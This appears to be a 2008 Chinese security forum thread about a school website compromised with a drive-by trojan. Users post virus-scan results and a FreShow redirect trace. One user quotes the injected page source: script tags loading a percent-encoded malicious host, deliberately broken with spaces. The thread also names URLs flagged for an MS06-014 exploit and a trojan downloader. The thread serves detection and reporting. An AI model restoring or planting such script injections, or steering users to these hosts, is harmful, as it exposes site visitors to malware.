求大家抓个马！

电影结束了

好熟的面孔~

woai_jolin

sina.exe

woai_jolin

Checking: http://www.lwlms.com/
Engine version: 4.44.0.9170
File size: 95.07 KB

http://www.lwlms.com/ - archive HTML
>http://www.lwlms.com//javascript.0 - Ok
>http://www.lwlms.com//Script.1 - Ok
http://www.lwlms.com/ - Ok

Checking: http://%61%76%65%32%2E%63%6E
File size: 586 bytes

http://%61%76%65%32%2E%63%6E - Ok

woai_jolin

Error
Can't fetch file pointed by your url. This may be caused by several reasons:

Remote file is not available (not found, requires authentication, permission denied)
Remote site is down, or very slow, or busy
No network connectivity between Dr.Web online server and remote web-site
File too big

Amitayus

李惠利中学 ,......我裸机上,15分钟一切正常,.....IE7,打齐微软补丁,打开源码,发现问题了,确实挂了马~~!!!


代码如下:
<!--网站制作：贾学平|工作室地址：www.m*****o.cn|联系电话：6313****** | qq:63*******5-->
<script sr c=http://%61%7 6%65%32%2E%63%6E></s cript><s cript src=http://%61% 76%65%32%2E%63%6E></s cript><script s rc=http://%61%76%65%32%2 E%63%6E></s cript>
<scr ipt src=http:// %61%76%65%32%2E%63%6E></ script><sc ript src=http://%61%76%65% 32%2E%63%6E></scri pt><script src=http://%61%76%65%32%2E% 63%6E></s cript>
   
注:    此代码已做处理,贴在这里没有危害了....

dl123100

访问地址：http://www.hrz010.cn/a1/ms06014.htm
访问网页的进程："C:\Program Files\Maxthon2\Maxthon.exe"
漏洞对象名：microsoft.xmlhttp

woai_jolin

Checking: http://www.hrz010.cn/a1/ms06014.htm
Engine version: 4.44.0.9170
File size: 2498 bytes

http://www.hrz010.cn/a1/ms06014.htm - archive HTML
>http://www.hrz010.cn/a1/ms06014.htm/VBScript.0 infected with Exploit.MS06-014.23
>http://www.hrz010.cn/a1/ms06014.htm/JavaScript.1 - Ok
>http://www.hrz010.cn/a1/ms06014.htm/VBScript.2 infected with Trojan.DownLoad.4559
>http://www.hrz010.cn/a1/ms06014.htm/Script.3 - Ok

molicn

全部上报相关信息

jizhenhang

原帖由 molicn 于 2008-9-14 20:16 发表
发现挂马
Log is generated by FreShow.
[wide]http://www.lwlms.com/
    [script]http://%61%76%65%32%2E%63%6E
        [frame]http://asp-15.cn/ilink.html
            [script]http://asp-15.cn/swfobjec ...

这位大哥好强大，你能不能收小弟当徒弟？

qigang

虽然挂的是老地址，但东西更新了。